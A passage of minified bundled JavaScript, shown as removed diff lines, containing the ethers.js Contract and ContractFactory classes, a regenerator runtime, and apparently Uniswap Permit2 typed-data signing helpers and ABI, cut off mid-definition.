t2.provider.getTransaction(e4.transactionHash), n2.getTransactionReceipt = () => Promise.resolve(e4), n2; - }), e4)); - } - function $r(t2, e2, r4) { - const n2 = t2.signer || t2.provider; - return function(...A2) { - return jr(this, void 0, void 0, function* () { - let i2; - if (A2.length === e2.inputs.length + 1 && "object" == typeof A2[A2.length - 1]) { - const t3 = he(A2.pop()); - null != t3.blockTag && (i2 = yield t3.blockTag), delete t3.blockTag, A2.push(t3); - } - null != t2.deployTransaction && (yield t2._deployed(i2)); - const o2 = yield Wr(t2, e2, A2), s2 = yield n2.call(o2, i2); - try { - let n3 = t2.interface.decodeFunctionResult(e2, s2); - return r4 && 1 === e2.outputs.length && (n3 = n3[0]), n3; - } catch (e3) { - throw e3.code === m.errors.CALL_EXCEPTION && (e3.address = t2.address, e3.args = A2, e3.transaction = o2), e3; - } - }); - }; - } - function tn(t2, e2, r4) { - return e2.constant ? $r(t2, e2, r4) : /* @__PURE__ */ function(t3, e3) { - return function(...r5) { - return jr(this, void 0, void 0, function* () { - t3.signer || zr.throwError("sending a transaction requires a signer", m.errors.UNSUPPORTED_OPERATION, { operation: "sendTransaction" }), null != t3.deployTransaction && (yield t3._deployed()); - const n2 = yield Wr(t3, e3, r5), A2 = yield t3.signer.sendTransaction(n2); - return Zr(t3, A2), A2; - }); - }; - }(t2, e2); - } - function en(t2) { - return !t2.address || null != t2.topics && 0 !== t2.topics.length ? (t2.address || "*") + "@" + (t2.topics ? t2.topics.map((t3) => Array.isArray(t3) ? t3.join("|") : t3).join(":") : "") : "*"; - } - var rn = class { - constructor(t2, e2) { - se(this, "tag", t2), se(this, "filter", e2), this._listeners = []; - } - addListener(t2, e2) { - this._listeners.push({ listener: t2, once: e2 }); - } - removeListener(t2) { - let e2 = false; - this._listeners = this._listeners.filter((r4) => !(!e2 && r4.listener === t2) || (e2 = true, false)); - } - removeAllListeners() { - this._listeners = []; - } - listeners() { - return this._listeners.map((t2) => t2.listener); - } - listenerCount() { - return this._listeners.length; - } - run(t2) { - const e2 = this.listenerCount(); - return this._listeners = this._listeners.filter((e3) => { - const r4 = t2.slice(); - return setTimeout(() => { - e3.listener.apply(this, r4); - }, 0), !e3.once; - }), e2; - } - prepareEvent(t2) { - } - getEmit(t2) { - return [t2]; - } - }; - var nn = class extends rn { - constructor() { - super("error", null); - } - }; - var An = class extends rn { - constructor(t2, e2, r4, n2) { - const A2 = { address: t2 }; - let i2 = e2.getEventTopic(r4); - n2 ? (i2 !== n2[0] && zr.throwArgumentError("topic mismatch", "topics", n2), A2.topics = n2.slice()) : A2.topics = [i2], super(en(A2), A2), se(this, "address", t2), se(this, "interface", e2), se(this, "fragment", r4); - } - prepareEvent(t2) { - super.prepareEvent(t2), t2.event = this.fragment.name, t2.eventSignature = this.fragment.format(), t2.decode = (t3, e2) => this.interface.decodeEventLog(this.fragment, t3, e2); - try { - t2.args = this.interface.decodeEventLog(this.fragment, t2.data, t2.topics); - } catch (e2) { - t2.args = null, t2.decodeError = e2; - } - } - getEmit(t2) { - const e2 = function(t3) { - const e3 = [], r5 = function(t4, n2) { - if (Array.isArray(n2)) - for (let A2 in n2) { - const i2 = t4.slice(); - i2.push(A2); - try { - r5(i2, n2[A2]); - } catch (t5) { - e3.push({ path: i2, error: t5 }); - } - } - }; - return r5([], t3), e3; - }(t2.args); - if (e2.length) - throw e2[0].error; - const r4 = (t2.args || []).slice(); - return r4.push(t2), r4; - } - }; - var on = class extends rn { - constructor(t2, e2) { - super("*", { address: t2 }), se(this, "address", t2), se(this, "interface", e2); - } - prepareEvent(t2) { - super.prepareEvent(t2); - try { - const e2 = this.interface.parseLog(t2); - t2.event = e2.name, t2.eventSignature = e2.signature, t2.decode = (t3, r4) => this.interface.decodeEventLog(e2.eventFragment, t3, r4), t2.args = e2.args; - } catch (t3) { - } - } - }; - var sn = class { - constructor(t2, e2, r4) { - se(this, "interface", ae(new.target, "getInterface")(e2)), null == r4 ? (se(this, "provider", null), se(this, "signer", null)) : Lr.isSigner(r4) ? (se(this, "provider", r4.provider || null), se(this, "signer", r4)) : Tr.isProvider(r4) ? (se(this, "provider", r4), se(this, "signer", null)) : zr.throwArgumentError("invalid signer or provider", "signerOrProvider", r4), se(this, "callStatic", {}), se(this, "estimateGas", {}), se(this, "functions", {}), se(this, "populateTransaction", {}), se(this, "filters", {}); - { - const t3 = {}; - Object.keys(this.interface.events).forEach((e3) => { - const r5 = this.interface.events[e3]; - se(this.filters, e3, (...t4) => ({ address: this.address, topics: this.interface.encodeFilterTopics(r5, t4) })), t3[r5.name] || (t3[r5.name] = []), t3[r5.name].push(e3); - }), Object.keys(t3).forEach((e3) => { - const r5 = t3[e3]; - 1 === r5.length ? se(this.filters, e3, this.filters[r5[0]]) : zr.warn(`Duplicate definition of ${e3} (${r5.join(", ")})`); - }); - } - if (se(this, "_runningEvents", {}), se(this, "_wrappedEmits", {}), null == t2 && zr.throwArgumentError("invalid contract address or ENS name", "addressOrName", t2), se(this, "address", t2), this.provider) - se(this, "resolvedAddress", Xr(this.provider, t2)); - else - try { - se(this, "resolvedAddress", Promise.resolve(ne(t2))); - } catch (t3) { - zr.throwError("provider is required to use ENS name as contract address", m.errors.UNSUPPORTED_OPERATION, { operation: "new Contract" }); - } - this.resolvedAddress.catch((t3) => { - }); - const n2 = {}, A2 = {}; - Object.keys(this.interface.functions).forEach((t3) => { - const e3 = this.interface.functions[t3]; - if (A2[t3]) - zr.warn(`Duplicate ABI entry for ${JSON.stringify(t3)}`); - else { - A2[t3] = true; - { - const r5 = e3.name; - n2[`%${r5}`] || (n2[`%${r5}`] = []), n2[`%${r5}`].push(t3); - } - null == this[t3] && se(this, t3, tn(this, e3, true)), null == this.functions[t3] && se(this.functions, t3, tn(this, e3, false)), null == this.callStatic[t3] && se(this.callStatic, t3, $r(this, e3, true)), null == this.populateTransaction[t3] && se(this.populateTransaction, t3, /* @__PURE__ */ function(t4, e4) { - return function(...r5) { - return Wr(t4, e4, r5); - }; - }(this, e3)), null == this.estimateGas[t3] && se(this.estimateGas, t3, function(t4, e4) { - const r5 = t4.signer || t4.provider; - return function(...n3) { - return jr(this, void 0, void 0, function* () { - r5 || zr.throwError("estimate require a provider or signer", m.errors.UNSUPPORTED_OPERATION, { operation: "estimateGas" }); - const A3 = yield Wr(t4, e4, n3); - return yield r5.estimateGas(A3); - }); - }; - }(this, e3)); - } - }), Object.keys(n2).forEach((t3) => { - const e3 = n2[t3]; - if (e3.length > 1) - return; - t3 = t3.substring(1); - const r5 = e3[0]; - try { - null == this[t3] && se(this, t3, this[r5]); - } catch (t4) { - } - null == this.functions[t3] && se(this.functions, t3, this.functions[r5]), null == this.callStatic[t3] && se(this.callStatic, t3, this.callStatic[r5]), null == this.populateTransaction[t3] && se(this.populateTransaction, t3, this.populateTransaction[r5]), null == this.estimateGas[t3] && se(this.estimateGas, t3, this.estimateGas[r5]); - }); - } - static getContractAddress(t2) { - return Ae(t2); - } - static getInterface(t2) { - return xr.isInterface(t2) ? t2 : new xr(t2); - } - deployed() { - return this._deployed(); - } - _deployed(t2) { - return this._deployedPromise || (this.deployTransaction ? this._deployedPromise = this.deployTransaction.wait().then(() => this) : this._deployedPromise = this.provider.getCode(this.address, t2).then((t3) => ("0x" === t3 && zr.throwError("contract not deployed", m.errors.UNSUPPORTED_OPERATION, { contractAddress: this.address, operation: "getDeployed" }), this))), this._deployedPromise; - } - fallback(t2) { - this.signer || zr.throwError("sending a transactions require a signer", m.errors.UNSUPPORTED_OPERATION, { operation: "sendTransaction(fallback)" }); - const e2 = he(t2 || {}); - return ["from", "to"].forEach(function(t3) { - null != e2[t3] && zr.throwError("cannot override " + t3, m.errors.UNSUPPORTED_OPERATION, { operation: t3 }); - }), e2.to = this.resolvedAddress, this.deployed().then(() => this.signer.sendTransaction(e2)); - } - connect(t2) { - "string" == typeof t2 && (t2 = new Or(t2, this.provider)); - const e2 = new this.constructor(this.address, this.interface, t2); - return this.deployTransaction && se(e2, "deployTransaction", this.deployTransaction), e2; - } - attach(t2) { - return new this.constructor(t2, this.interface, this.signer || this.provider); - } - static isIndexed(t2) { - return Sr.isIndexed(t2); - } - _normalizeRunningEvent(t2) { - return this._runningEvents[t2.tag] ? this._runningEvents[t2.tag] : t2; - } - _getRunningEvent(t2) { - if ("string" == typeof t2) { - if ("error" === t2) - return this._normalizeRunningEvent(new nn()); - if ("event" === t2) - return this._normalizeRunningEvent(new rn("event", null)); - if ("*" === t2) - return this._normalizeRunningEvent(new on(this.address, this.interface)); - const e2 = this.interface.getEvent(t2); - return this._normalizeRunningEvent(new An(this.address, this.interface, e2)); - } - if (t2.topics && t2.topics.length > 0) { - try { - const e3 = t2.topics[0]; - if ("string" != typeof e3) - throw new Error("invalid topic"); - const r4 = this.interface.getEvent(e3); - return this._normalizeRunningEvent(new An(this.address, this.interface, r4, t2.topics)); - } catch (t3) { - } - const e2 = { address: this.address, topics: t2.topics }; - return this._normalizeRunningEvent(new rn(en(e2), e2)); - } - return this._normalizeRunningEvent(new on(this.address, this.interface)); - } - _checkRunningEvents(t2) { - if (0 === t2.listenerCount()) { - delete this._runningEvents[t2.tag]; - const e2 = this._wrappedEmits[t2.tag]; - e2 && t2.filter && (this.provider.off(t2.filter, e2), delete this._wrappedEmits[t2.tag]); - } - } - _wrapEvent(t2, e2, r4) { - const n2 = fe(e2); - return n2.removeListener = () => { - r4 && (t2.removeListener(r4), this._checkRunningEvents(t2)); - }, n2.getBlock = () => this.provider.getBlock(e2.blockHash), n2.getTransaction = () => this.provider.getTransaction(e2.transactionHash), n2.getTransactionReceipt = () => this.provider.getTransactionReceipt(e2.transactionHash), t2.prepareEvent(n2), n2; - } - _addEventListener(t2, e2, r4) { - if (this.provider || zr.throwError("events require a provider or a signer with a provider", m.errors.UNSUPPORTED_OPERATION, { operation: "once" }), t2.addListener(e2, r4), this._runningEvents[t2.tag] = t2, !this._wrappedEmits[t2.tag]) { - const r5 = (r6) => { - let n2 = this._wrapEvent(t2, r6, e2); - if (null == n2.decodeError) - try { - const e3 = t2.getEmit(n2); - this.emit(t2.filter, ...e3); - } catch (t3) { - n2.decodeError = t3.error; - } - null != t2.filter && this.emit("event", n2), null != n2.decodeError && this.emit("error", n2.decodeError, n2); - }; - this._wrappedEmits[t2.tag] = r5, null != t2.filter && this.provider.on(t2.filter, r5); - } - } - queryFilter(t2, e2, r4) { - const n2 = this._getRunningEvent(t2), A2 = he(n2.filter); - return "string" == typeof e2 && k(e2, 32) ? (null != r4 && zr.throwArgumentError("cannot specify toBlock with blockhash", "toBlock", r4), A2.blockHash = e2) : (A2.fromBlock = null != e2 ? e2 : 0, A2.toBlock = null != r4 ? r4 : "latest"), this.provider.getLogs(A2).then((t3) => t3.map((t4) => this._wrapEvent(n2, t4, null))); - } - on(t2, e2) { - return this._addEventListener(this._getRunningEvent(t2), e2, false), this; - } - once(t2, e2) { - return this._addEventListener(this._getRunningEvent(t2), e2, true), this; - } - emit(t2, ...e2) { - if (!this.provider) - return false; - const r4 = this._getRunningEvent(t2), n2 = r4.run(e2) > 0; - return this._checkRunningEvents(r4), n2; - } - listenerCount(t2) { - return this.provider ? null == t2 ? Object.keys(this._runningEvents).reduce((t3, e2) => t3 + this._runningEvents[e2].listenerCount(), 0) : this._getRunningEvent(t2).listenerCount() : 0; - } - listeners(t2) { - if (!this.provider) - return []; - if (null == t2) { - const t3 = []; - for (let e2 in this._runningEvents) - this._runningEvents[e2].listeners().forEach((e3) => { - t3.push(e3); - }); - return t3; - } - return this._getRunningEvent(t2).listeners(); - } - removeAllListeners(t2) { - if (!this.provider) - return this; - if (null == t2) { - for (const t3 in this._runningEvents) { - const e3 = this._runningEvents[t3]; - e3.removeAllListeners(), this._checkRunningEvents(e3); - } - return this; - } - const e2 = this._getRunningEvent(t2); - return e2.removeAllListeners(), this._checkRunningEvents(e2), this; - } - off(t2, e2) { - if (!this.provider) - return this; - const r4 = this._getRunningEvent(t2); - return r4.removeListener(e2), this._checkRunningEvents(r4), this; - } - removeListener(t2, e2) { - return this.off(t2, e2); - } - }; - var an = class extends sn { - }; - var hn = Object.freeze({ __proto__: null, BaseContract: sn, Contract: an, ContractFactory: class { - constructor(t2, e2, r4) { - let n2 = null; - n2 = "string" == typeof e2 ? e2 : _(e2) ? S(e2) : e2 && "string" == typeof e2.object ? e2.object : "!", "0x" !== n2.substring(0, 2) && (n2 = "0x" + n2), (!k(n2) || n2.length % 2) && zr.throwArgumentError("invalid bytecode", "bytecode", e2), r4 && !Lr.isSigner(r4) && zr.throwArgumentError("invalid signer", "signer", r4), se(this, "bytecode", n2), se(this, "interface", ae(new.target, "getInterface")(t2)), se(this, "signer", r4 || null); - } - getDeployTransaction(...t2) { - let e2 = {}; - if (t2.length === this.interface.deploy.inputs.length + 1 && "object" == typeof t2[t2.length - 1]) { - e2 = he(t2.pop()); - for (const t3 in e2) - if (!qr[t3]) - throw new Error("unknown transaction override " + t3); - } - if (["data", "from", "to"].forEach((t3) => { - null != e2[t3] && zr.throwError("cannot override " + t3, m.errors.UNSUPPORTED_OPERATION, { operation: t3 }); - }), e2.value) { - Y.from(e2.value).isZero() || this.interface.deploy.payable || zr.throwError("non-payable constructor cannot override value", m.errors.UNSUPPORTED_OPERATION, { operation: "overrides.value", value: e2.value }); - } - return zr.checkArgumentCount(t2.length, this.interface.deploy.inputs.length, " in Contract constructor"), e2.data = S(b([this.bytecode, this.interface.encodeDeploy(t2)])), e2; - } - deploy(...t2) { - return jr(this, void 0, void 0, function* () { - let e2 = {}; - t2.length === this.interface.deploy.inputs.length + 1 && (e2 = t2.pop()), zr.checkArgumentCount(t2.length, this.interface.deploy.inputs.length, " in Contract constructor"); - const r4 = yield Vr(this.signer, t2, this.interface.deploy.inputs); - r4.push(e2); - const n2 = this.getDeployTransaction(...r4), A2 = yield this.signer.sendTransaction(n2), i2 = ae(this.constructor, "getContractAddress")(A2), o2 = ae(this.constructor, "getContract")(i2, this.interface, this.signer); - return Zr(o2, A2), se(o2, "deployTransaction", A2), o2; - }); - } - attach(t2) { - return this.constructor.getContract(t2, this.interface, this.signer); - } - connect(t2) { - return new this.constructor(this.interface, this.bytecode, t2); - } - static fromSolidity(t2, e2) { - null == t2 && zr.throwError("missing compiler output", m.errors.MISSING_ARGUMENT, { argument: "compilerOutput" }), "string" == typeof t2 && (t2 = JSON.parse(t2)); - const r4 = t2.abi; - let n2 = null; - return t2.bytecode ? n2 = t2.bytecode : t2.evm && t2.evm.bytecode && (n2 = t2.evm.bytecode), new this(r4, n2, e2); - } - static getInterface(t2) { - return an.getInterface(t2); - } - static getContractAddress(t2) { - return Ae(t2); - } - static getContract(t2, e2, r4) { - return new an(t2, e2, r4); - } - } }); - var gn = r3(hn); - var un; - var ln = {}; - false ? i.exports = function() { - if (cn) - return o; - cn = 1, Object.defineProperty(o, "__esModule", { value: true }); - var t2, e2 = (t2 = s()) && "object" == typeof t2 && "default" in t2 ? t2.default : t2, r4 = Me, n2 = xe, A2 = gn, i2 = n2.BigNumber.from("0xffffffffffff"), a2 = n2.BigNumber.from("0xffffffffffffffffffffffffffffffffffffffff"), c2 = n2.BigNumber.from("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"), h2 = a2, g2 = i2, u2 = i2, l2 = c2, f2 = c2, p2 = c2, d2 = n2.BigNumber.from(0); - function I2(t3, e3) { - return { name: "Permit2", chainId: e3, verifyingContract: t3 }; - } - var y2 = [{ name: "token", type: "address" }, { name: "amount", type: "uint160" }, { name: "expiration", type: "uint48" }, { name: "nonce", type: "uint48" }], C2 = { PermitSingle: [{ name: "details", type: "PermitDetails" }, { name: "spender", type: "address" }, { name: "sigDeadline", type: "uint256" }], PermitDetails: y2 }, m2 = { PermitBatch: [{ name: "details", type: "PermitDetails[]" }, { name: "spender", type: "address" }, { name: "sigDeadline", type: "uint256" }], PermitDetails: y2 }, B2 = function() { - function t3() { - } - return t3.getPermitData = function(t4, r5, n3) { - p2.gte(t4.sigDeadline) || e2(false); - var A3 = I2(r5, n3); - return function(t5) { - return !Array.isArray(t5.details); - }(t4) ? (E2(t4.details), { domain: A3, types: C2, values: t4 }) : (t4.details.forEach(E2), { domain: A3, types: m2, values: t4 }); - }, t3.hash = function(e3, n3, A3) { - var i3 = t3.getPermitData(e3, n3, A3); - return r4._TypedDataEncoder.hash(i3.domain, i3.types, i3.values); - }, t3; - }(); - function E2(t3) { - u2.gte(t3.nonce) || e2(false), h2.gte(t3.amount) || e2(false), g2.gte(t3.expiration) || e2(false); - } - function w2() { - w2 = function() { - return e3; - }; - var t3, e3 = {}, r5 = Object.prototype, n3 = r5.hasOwnProperty, A3 = Object.defineProperty || function(t4, e4, r6) { - t4[e4] = r6.value; - }, i3 = "function" == typeof Symbol ? Symbol : {}, o2 = i3.iterator || "@@iterator", s2 = i3.asyncIterator || "@@asyncIterator", a3 = i3.toStringTag || "@@toStringTag"; - function c3(t4, e4, r6) { - return Object.defineProperty(t4, e4, { value: r6, enumerable: true, configurable: true, writable: true }), t4[e4]; - } - try { - c3({}, ""); - } catch (t4) { - c3 = function(t5, e4, r6) { - return t5[e4] = r6; - }; - } - function h3(t4, e4, r6, n4) { - var i4 = Object.create((e4 && e4.prototype instanceof d3 ? e4 : d3).prototype), o3 = new S3(n4 || []); - return A3(i4, "_invoke", { value: Q3(t4, r6, o3) }), i4; - } - function g3(t4, e4, r6) { - try { - return { type: "normal", arg: t4.call(e4, r6) }; - } catch (t5) { - return { type: "throw", arg: t5 }; - } - } - e3.wrap = h3; - var u3 = "suspendedStart", l3 = "executing", f3 = "completed", p3 = {}; - function d3() { - } - function I3() { - } - function y3() { - } - var C3 = {}; - c3(C3, o2, function() { - return this; - }); - var m3 = Object.getPrototypeOf, B3 = m3 && m3(m3(N4([]))); - B3 && B3 !== r5 && n3.call(B3, o2) && (C3 = B3); - var E3 = y3.prototype = d3.prototype = Object.create(C3); - function v3(t4) { - ["next", "throw", "return"].forEach(function(e4) { - c3(t4, e4, function(t5) { - return this._invoke(e4, t5); - }); - }); - } - function _3(t4, e4) { - function r6(A4, i5, o3, s3) { - var a4 = g3(t4[A4], t4, i5); - if ("throw" !== a4.type) { - var c4 = a4.arg, h4 = c4.value; - return h4 && "object" == typeof h4 && n3.call(h4, "__await") ? e4.resolve(h4.__await).then(function(t5) { - r6("next", t5, o3, s3); - }, function(t5) { - r6("throw", t5, o3, s3); - }) : e4.resolve(h4).then(function(t5) { - c4.value = t5, o3(c4); - }, function(t5) { - return r6("throw", t5, o3, s3); - }); - } - s3(a4.arg); - } - var i4; - A3(this, "_invoke", { value: function(t5, n4) { - function A4() { - return new e4(function(e5, A5) { - r6(t5, n4, e5, A5); - }); - } - return i4 = i4 ? i4.then(A4, A4) : A4(); - } }); - } - function Q3(e4, r6, n4) { - var A4 = u3; - return function(i4, o3) { - if (A4 === l3) - throw new Error("Generator is already running"); - if (A4 === f3) { - if ("throw" === i4) - throw o3; - return { value: t3, done: true }; - } - for (n4.method = i4, n4.arg = o3; ; ) { - var s3 = n4.delegate; - if (s3) { - var a4 = b3(s3, n4); - if (a4) { - if (a4 === p3) - continue; - return a4; - } - } - if ("next" === n4.method) - n4.sent = n4._sent = n4.arg; - else if ("throw" === n4.method) { - if (A4 === u3) - throw A4 = f3, n4.arg; - n4.dispatchException(n4.arg); - } else - "return" === n4.method && n4.abrupt("return", n4.arg); - A4 = l3; - var c4 = g3(e4, r6, n4); - if ("normal" === c4.type) { - if (A4 = n4.done ? f3 : "suspendedYield", c4.arg === p3) - continue; - return { value: c4.arg, done: n4.done }; - } - "throw" === c4.type && (A4 = f3, n4.method = "throw", n4.arg = c4.arg); - } - }; - } - function b3(e4, r6) { - var n4 = r6.method, A4 = e4.iterator[n4]; - if (A4 === t3) - return r6.delegate = null, "throw" === n4 && e4.iterator.return && (r6.method = "return", r6.arg = t3, b3(e4, r6), "throw" === r6.method) || "return" !== n4 && (r6.method = "throw", r6.arg = new TypeError("The iterator does not provide a '" + n4 + "' method")), p3; - var i4 = g3(A4, e4.iterator, r6.arg); - if ("throw" === i4.type) - return r6.method = "throw", r6.arg = i4.arg, r6.delegate = null, p3; - var o3 = i4.arg; - return o3 ? o3.done ? (r6[e4.resultName] = o3.value, r6.next = e4.nextLoc, "return" !== r6.method && (r6.method = "next", r6.arg = t3), r6.delegate = null, p3) : o3 : (r6.method = "throw", r6.arg = new TypeError("iterator result is not an object"), r6.delegate = null, p3); - } - function k3(t4) { - var e4 = { tryLoc: t4[0] }; - 1 in t4 && (e4.catchLoc = t4[1]), 2 in t4 && (e4.finallyLoc = t4[2], e4.afterLoc = t4[3]), this.tryEntries.push(e4); - } - function D3(t4) { - var e4 = t4.completion || {}; - e4.type = "normal", delete e4.arg, t4.completion = e4; - } - function S3(t4) { - this.tryEntries = [{ tryLoc: "root" }], t4.forEach(k3, this), this.reset(true); - } - function N4(e4) { - if (e4 || "" === e4) { - var r6 = e4[o2]; - if (r6) - return r6.call(e4); - if ("function" == typeof e4.next) - return e4; - if (!isNaN(e4.length)) { - var A4 = -1, i4 = function r7() { - for (; ++A4 < e4.length; ) - if (n3.call(e4, A4)) - return r7.value = e4[A4], r7.done = false, r7; - return r7.value = t3, r7.done = true, r7; - }; - return i4.next = i4; - } - } - throw new TypeError(typeof e4 + " is not iterable"); - } - return I3.prototype = y3, A3(E3, "constructor", { value: y3, configurable: true }), A3(y3, "constructor", { value: I3, configurable: true }), I3.displayName = c3(y3, a3, "GeneratorFunction"), e3.isGeneratorFunction = function(t4) { - var e4 = "function" == typeof t4 && t4.constructor; - return !!e4 && (e4 === I3 || "GeneratorFunction" === (e4.displayName || e4.name)); - }, e3.mark = function(t4) { - return Object.setPrototypeOf ? Object.setPrototypeOf(t4, y3) : (t4.__proto__ = y3, c3(t4, a3, "GeneratorFunction")), t4.prototype = Object.create(E3), t4; - }, e3.awrap = function(t4) { - return { __await: t4 }; - }, v3(_3.prototype), c3(_3.prototype, s2, function() { - return this; - }), e3.AsyncIterator = _3, e3.async = function(t4, r6, n4, A4, i4) { - void 0 === i4 && (i4 = Promise); - var o3 = new _3(h3(t4, r6, n4, A4), i4); - return e3.isGeneratorFunction(r6) ? o3 : o3.next().then(function(t5) { - return t5.done ? t5.value : o3.next(); - }); - }, v3(E3), c3(E3, a3, "Generator"), c3(E3, o2, function() { - return this; - }), c3(E3, "toString", function() { - return "[object Generator]"; - }), e3.keys = function(t4) { - var e4 = Object(t4), r6 = []; - for (var n4 in e4) - r6.push(n4); - return r6.reverse(), function t5() { - for (; r6.length; ) { - var n5 = r6.pop(); - if (n5 in e4) - return t5.value = n5, t5.done = false, t5; - } - return t5.done = true, t5; - }; - }, e3.values = N4, S3.prototype = { constructor: S3, reset: function(e4) { - if (this.prev = 0, this.next = 0, this.sent = this._sent = t3, this.done = false, this.delegate = null, this.method = "next", this.arg = t3, this.tryEntries.forEach(D3), !e4) - for (var r6 in this) - "t" === r6.charAt(0) && n3.call(this, r6) && !isNaN(+r6.slice(1)) && (this[r6] = t3); - }, stop: function() { - this.done = true; - var t4 = this.tryEntries[0].completion; - if ("throw" === t4.type) - throw t4.arg; - return this.rval; - }, dispatchException: function(e4) { - if (this.done) - throw e4; - var r6 = this; - function A4(n4, A5) { - return s3.type = "throw", s3.arg = e4, r6.next = n4, A5 && (r6.method = "next", r6.arg = t3), !!A5; - } - for (var i4 = this.tryEntries.length - 1; i4 >= 0; --i4) { - var o3 = this.tryEntries[i4], s3 = o3.completion; - if ("root" === o3.tryLoc) - return A4("end"); - if (o3.tryLoc <= this.prev) { - var a4 = n3.call(o3, "catchLoc"), c4 = n3.call(o3, "finallyLoc"); - if (a4 && c4) { - if (this.prev < o3.catchLoc) - return A4(o3.catchLoc, true); - if (this.prev < o3.finallyLoc) - return A4(o3.finallyLoc); - } else if (a4) { - if (this.prev < o3.catchLoc) - return A4(o3.catchLoc, true); - } else { - if (!c4) - throw new Error("try statement without catch or finally"); - if (this.prev < o3.finallyLoc) - return A4(o3.finallyLoc); - } - } - } - }, abrupt: function(t4, e4) { - for (var r6 = this.tryEntries.length - 1; r6 >= 0; --r6) { - var A4 = this.tryEntries[r6]; - if (A4.tryLoc <= this.prev && n3.call(A4, "finallyLoc") && this.prev < A4.finallyLoc) { - var i4 = A4; - break; - } - } - i4 && ("break" === t4 || "continue" === t4) && i4.tryLoc <= e4 && e4 <= i4.finallyLoc && (i4 = null); - var o3 = i4 ? i4.completion : {}; - return o3.type = t4, o3.arg = e4, i4 ? (this.method = "next", this.next = i4.finallyLoc, p3) : this.complete(o3); - }, complete: function(t4, e4) { - if ("throw" === t4.type) - throw t4.arg; - return "break" === t4.type || "continue" === t4.type ? this.next = t4.arg : "return" === t4.type ? (this.rval = this.arg = t4.arg, this.method = "return", this.next = "end") : "normal" === t4.type && e4 && (this.next = e4), p3; - }, finish: function(t4) { - for (var e4 = this.tryEntries.length - 1; e4 >= 0; --e4) { - var r6 = this.tryEntries[e4]; - if (r6.finallyLoc === t4) - return this.complete(r6.completion, r6.afterLoc), D3(r6), p3; - } - }, catch: function(t4) { - for (var e4 = this.tryEntries.length - 1; e4 >= 0; --e4) { - var r6 = this.tryEntries[e4]; - if (r6.tryLoc === t4) { - var n4 = r6.completion; - if ("throw" === n4.type) { - var A4 = n4.arg; - D3(r6); - } - return A4; - } - } - throw new Error("illegal catch attempt"); - }, delegateYield: function(e4, r6, n4) { - return this.delegate = { iterator: N4(e4), resultName: r6, nextLoc: n4 }, "next" === this.method && (this.arg = t3), p3; - } }, e3; - } - function v2(t3, e3, r5, n3, A3, i3, o2) { - try { - var s2 = t3[i3](o2), a3 = s2.value; - } catch (t4) { - return void r5(t4); - } - s2.done ? e3(a3) : Promise.resolve(a3).then(n3, A3); - } - function _2(t3) { - return function() { - var e3 = this, r5 = arguments; - return new Promise(function(n3, A3) { - var i3 = t3.apply(e3, r5); - function o2(t4) { - v2(i3, n3, A3, o2, s2, "next", t4); - } - function s2(t4) { - v2(i3, n3, A3, o2, s2, "throw", t4); - } - o2(void 0); - }); - }; - } - function Q2() { - return (Q2 = Object.assign ? Object.assign.bind() : function(t3) { - for (var e3 = 1; e3 < arguments.length; e3++) { - var r5 = arguments[e3]; - for (var n3 in r5) - Object.prototype.hasOwnProperty.call(r5, n3) && (t3[n3] = r5[n3]); - } - return t3; - }).apply(this, arguments); - } - var b2 = [{ name: "token", type: "address" }, { name: "amount", type: "uint256" }], k2 = { PermitTransferFrom: [{ name: "permitted", type: "TokenPermissions" }, { name: "spender", type: "address" }, { name: "nonce", type: "uint256" }, { name: "deadline", type: "uint256" }], TokenPermissions: b2 }, D2 = { PermitBatchTransferFrom: [{ name: "permitted", type: "TokenPermissions[]" }, { name: "spender", type: "address" }, { name: "nonce", type: "uint256" }, { name: "deadline", type: "uint256" }], TokenPermissions: b2 }, S2 = function() { - function t3() { - } - return t3.getPermitData = function(t4, r5, n3, A3) { - p2.gte(t4.deadline) || e2(false), f2.gte(t4.nonce) || e2(false); - var i3 = I2(r5, n3); - return function(t5) { - return !Array.isArray(t5.permitted); - }(t4) ? (N3(t4.permitted), { domain: i3, types: A3 ? function(t5) { - return Q2({ PermitWitnessTransferFrom: [{ name: "permitted", type: "TokenPermissions" }, { name: "spender", type: "address" }, { name: "nonce", type: "uint256" }, { name: "deadline", type: "uint256" }, { name: "witness", type: t5.witnessTypeName }], TokenPermissions: b2 }, t5.witnessType); - }(A3) : k2, values: A3 ? Object.assign(t4, { witness: A3.witness }) : t4 }) : (t4.permitted.forEach(N3), { domain: i3, types: A3 ? function(t5) { - return Q2({ PermitBatchWitnessTransferFrom: [{ name: "permitted", type: "TokenPermissions[]" }, { name: "spender", type: "address" }, { name: "nonce", type: "uint256" }, { name: "deadline", type: "uint256" }, { name: "witness", type: t5.witnessTypeName }], TokenPermissions: b2 }, t5.witnessType); - }(A3) : D2, values: A3 ? Object.assign(t4, { witness: A3.witness }) : t4 }); - }, t3.hash = function(e3, n3, A3, i3) { - var o2 = t3.getPermitData(e3, n3, A3, i3); - return r4._TypedDataEncoder.hash(o2.domain, o2.types, o2.values); - }, t3; - }(); - function N3(t3) { - l2.gte(t3.amount) || e2(false); - } - var M2 = [{ inputs: [], name: "AllowanceExpired", type: "error" }, { inputs: [], name: "ExcessiveInvalidation", type: "error" }, { inputs: [], name: "InsufficientAllowance", type: "error" }, { inputs: [], name: "InvalidAmount", type: "error" }, { inputs: [], name: "InvalidContractSignature", type: "error" }, { inputs: [], name: "InvalidNonce", type: "error" }, { inputs: [], name: "InvalidSignature", type: "error" }, { inputs: [], name: "InvalidSigner", type: "error" }, { inputs: [], name: "LengthMismatch", type: "error" }, { inputs: [], name: "NotSpender", type: "error" }, { inputs: [], name: "SignatureExpired", type: "error" }, { anonymous: false, inputs: [{ indexed: true, internalType: "address", name: "owner", type: "address" }, { indexed: true, internalType: "address", name: "token", type: "address" }, { indexed: true, internalType: "address", name: "spender", type: "address" }, { indexed: false, internalType: "uint160", name: "amount", type: "uint160" }, { indexed: false, internalType: "uint48", name: "expiration", type: "uint48" }], name: "Approval", type: "event" }, { anonymous: false, inputs: [{ indexed: true, internalType: "address", name: "owner", type: "address" }, { indexed: false, internalType: "address", name: "token", type: "address" }, { indexed: false, internalType: "address", name: "spender", type: "address" }], name: "Lockdown", type: "event" }, { anonymous: false, inputs: [{ indexed: true, internalType: "address", name: "owner", type: "address" }, { indexed: true, internalType: "address", name: "token", type: "address" }, { indexed: true, internalType: "address", name: "spender", type: "address" }, { indexed: false, internalType: "uint48", name: "newNonce", type: "uint48" }, { indexed: false, internalType: "uint48", name: "oldNonce", type: "uint48" }], name: "NonceInvalidation", type: "event" }, { anonymous: false, inputs: [{ indexed: true, internalType: "address", name: "owner", type: 